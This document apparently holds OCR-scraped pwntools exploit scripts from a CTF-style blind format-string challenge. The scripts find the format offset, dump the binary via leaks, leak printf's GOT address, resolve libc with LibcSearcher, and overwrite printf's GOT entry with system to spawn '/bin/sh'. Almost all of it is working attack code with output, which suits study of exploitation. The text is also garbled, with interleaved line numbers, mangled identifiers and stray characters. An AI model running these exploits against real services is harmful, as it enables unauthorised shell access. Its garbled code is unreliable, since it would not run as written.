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#log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "justtest"

libcFileName = ""

10ip = "0.0.0.0"

11 port = 10001

1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 #context.log level='debug'

5 context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amd64', os = 'linux', log level='debug')
7

8

9

12

13 Debug = 1

14 if Debug:

15 io = process (elfFileName)
16 else:

17 io = remote (ip,port)

18

19 # calculate the offset
20 def exec fmt (payload) :

21 io.recvuntil ("\nPlease tell me:")
22 io.sendline (payload)

23 info = io.recvuntil ("\n")

24 return info

25

26

27 auto = FmtStr (exec fmt)

28 offset = auto.offset

29 print "offset is "+ str(offset)
30

31 io.interactive()

32

33 rrr

34 [*] Found format string offset: 8
35 offset is 8

36 rrr
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#-*- coding:utf-8 —*-

from pwn import *

from LibcSearcher import LibcSearcher

context.log level='debug'

#context (arch = 'i386', os = 'linux', log level='debug')

#context (arch = 'amd64', os = 'linux', log level='debug')

#log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
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p = process("./pwnl")

10 £ = open("pwnlbin", "ab+")

11

12 begin = 0x8048000

13 offset = 0

14 #i=0

15 p.recvuntil ('Please tell me:')

16 while True:#i<l13:#True:#

17 addr = begin + offset

18 p.sendline ("x%10Ssaaa"” + p32(addr))

19 try:

20 #info = p.recv (4)

21

22 info = p.recvuntil ('aaa',drop=True) [10:]
23 remain = p.recvrepeat (0.2) #weiba
24 print info.encode ("hex")

25 print len(info)

26 except EOFError:

27 print "offset is " + str(offset)
28 break

29 1f len(info)==0:

30 print "info is null"

31 offset += 1

32 f.write('\x00')

33 else:

34 info += "\x00"

35 offset += len(info)

36 f.write (info)

37 f.flush()

38 #1 =1 + 1

39 print "offset is " + str(offset)
40 f.close()

41 p.close()
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o leak address

o use LibcSearcher to find libc

o getshell
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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')
6 #context (arch = 'amdé64', os = 'linux', log level='debug')
7 #logﬁlevel:['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 Debug = 1

9 if Debug:

10 io = process ("./pwnl")

11 else:

12 io = remote('',)

13

14 #dump bin can not be loaded

15 #but can analysis

16 offset = 8

17 #step 1 leak the printf got

18 #maybe plt 08048400

19 io.recvuntil ('Please tell me:')

20 printf got = 0x0804A014

21 payload leak = 'x' + p32(printf got) + "&85s"
22 io.send (payload leak)

23 1ibc printf = u32(io.recv()[14:18])

24 print hex(libc printf)

25

26 #step 2 find the libc

27 1ibc = LibcSearcher ('printf',libc printf)

28 libcbase = libc printf - libc.dump ('printf')
29 system addr = libcbase + libc.dump('system')
30

31 #step 3 cover the address

32 payload cover = 'x' + fmtstr payload(8,{printf got : system addr},numbwritten=10)
33 io.sendline (payload cover)

34 io.recv()

35

36 #step 4 get shell

37 io.sendline(";/bin/sh")

38

39 io.interactive()
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